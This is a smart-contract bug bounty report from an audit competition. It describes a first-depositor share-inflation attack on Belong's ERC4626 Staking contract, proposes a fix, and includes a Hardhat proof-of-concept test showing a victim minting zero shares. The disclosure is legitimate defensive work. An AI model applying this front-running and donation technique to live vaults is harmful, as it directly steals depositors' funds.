57736 sc critical first depositor attack is possible
Submitted on Oct 28th 2025 at 15:00:16 UTC by @doichantran for Audit Comp | Belong
- Report ID: #57736
- Report Type: Smart Contract
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-belong/blob/main/contracts/v2/periphery/Staking.sol
- Impacts:
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief / Intro
The Staking contract is vulnerable to a first-deposit attack where an attacker can manipulate the share distribution mechanism to mint disproportionately large shares, effectively stealing user deposits.
Vulnerability Details
The attack follows this flow:
First actor deposits
A legitimate user is the first to interact with the vault and sends a deposit transaction.
Attacker frontruns with two actions
The attacker frontruns the user's transaction and:
- deposits 1 wei asset into the vault (minting 1 wei share), and
- donates a large amount of asset directly to the vault (increasing total assets).
User mints zero shares
The user's transaction executes afterwards and mints 0 shares due to rounding in the ERC4626 formula:
shares = assets * sharesSupply / totalAssets
Since sharesSupply is 1 (attacker's 1 wei share) and totalAssets is large (attacker's donation), rounding causes the user to receive 0 shares.
Attacker withdraws funds
The attacker withdraws the donated assets plus the user's deposit.
Note: Belong's Staking contract uses Solady's ERC4626 implementation which adds an extra +1 in the calculations of shares and assets, making the attack less profitable and harder to perform. However, the attack remains feasible when there are 2 or more near-simultaneous first deposits in the mempool. Given Staking.sol is a core mechanic with many deposit chances, this is a realistic risk.
Suggested fix
Mint a certain amount of shares to address(0) during vault deployment or require the first depositor to mint a minimal number of shares. This avoids the zero-share edge case for initial depositors.
Impact Details
An attacker can effectively steal a staker's deposit by causing the staker to mint zero shares even though they deposited the Long token. The attack is more likely when multiple near-equal first deposits exist in the mempool, and because Staking.sol is a core mechanic, many opportunities for the attack exist.
References
Proof of Concept
Put this into test/v2/platform/staking.test.ts
describe('1st Deposit Attack', () => {
it('1stDepositAttack()', async () => {
const { staking, long, admin, minter, user1, user2 } = await loadFixture(fixture);
/* --------------- USER1 DEPOSIT AND DONATE --------------- */
const user1DepositAmount = 1;
const donationAmount = ethers.utils.parseEther('1000');
const user1LongBalanceBefore = ethers.utils.parseEther('1001');
// user1 get Long Token
await long.connect(admin).transfer(user1.address, user1LongBalanceBefore);
// user1 deposit Long Token
await long.connect(user1).approve(staking.address, user1DepositAmount);
const tx1 = await staking.connect(user1).deposit(user1DepositAmount, user1.address);
// user1 donate Long Token
await long.connect(user1).transfer(staking.address, donationAmount);
const user1Shares = await staking.balanceOf(user1.address);
const vaultBalance = await long.balanceOf(staking.address);
console.log("");
console.log("----- USER1 DEPOSIT AND DONATE -----");
console.log("user1 shares: ", user1Shares);
console.log("vaultBalance: ", vaultBalance);
/* --------------- USER2 DEPOSIT --------------- */
const user2LongAmount = ethers.utils.parseEther('10000');
const user2DepositAmount = ethers.utils.parseEther('500');
const user2DepositAmount2 = ethers.utils.parseEther('600');
const user2DepositAmount3 = ethers.utils.parseEther('700');
const user2DepositAmount4 = ethers.utils.parseEther('800');
// user2 get Long Token
await long.connect(admin).transfer(user2.address, user2LongAmount);
// user2 deposit Long Token multiple times
await long.connect(user2).approve(staking.address, user2LongAmount);
const tx2 = await staking.connect(user2).deposit(user2DepositAmount, user2.address);
const tx3 = await staking.connect(user2).deposit(user2DepositAmount2, user2.address);
const tx4 = await staking.connect(user2).deposit(user2DepositAmount3, user2.address);
const tx5 = await staking.connect(user2).deposit(user2DepositAmount4, user2.address);
const user2Shares = await staking.balanceOf(user2.address);
const vaultTotalSupply = await staking.totalSupply();
const vaultBalanceAfter = await long.balanceOf(staking.address);
console.log("");
console.log("----- USER2 DEPOSIT -----");
console.log("user2 shares: ", user2Shares);
console.log("vaultTotalSupply: ", vaultTotalSupply);
console.log("vaultBalanceAfter: ", vaultBalanceAfter);
/* --------------- USER1 WITHDRAW --------------- */
await staking.connect(admin).setMinStakePeriod(1);
const tx = await staking.connect(user1).redeem(user1Shares, user1.address, user1.address);
const user1LongBalanceAfter = await long.balanceOf(user1.address);
console.log("");
console.log("----- USER1 WITHDRAW -----");
console.log("user1 Long Before: ", user1LongBalanceBefore);
console.log("user1 Long After: ", user1LongBalanceAfter);
});
});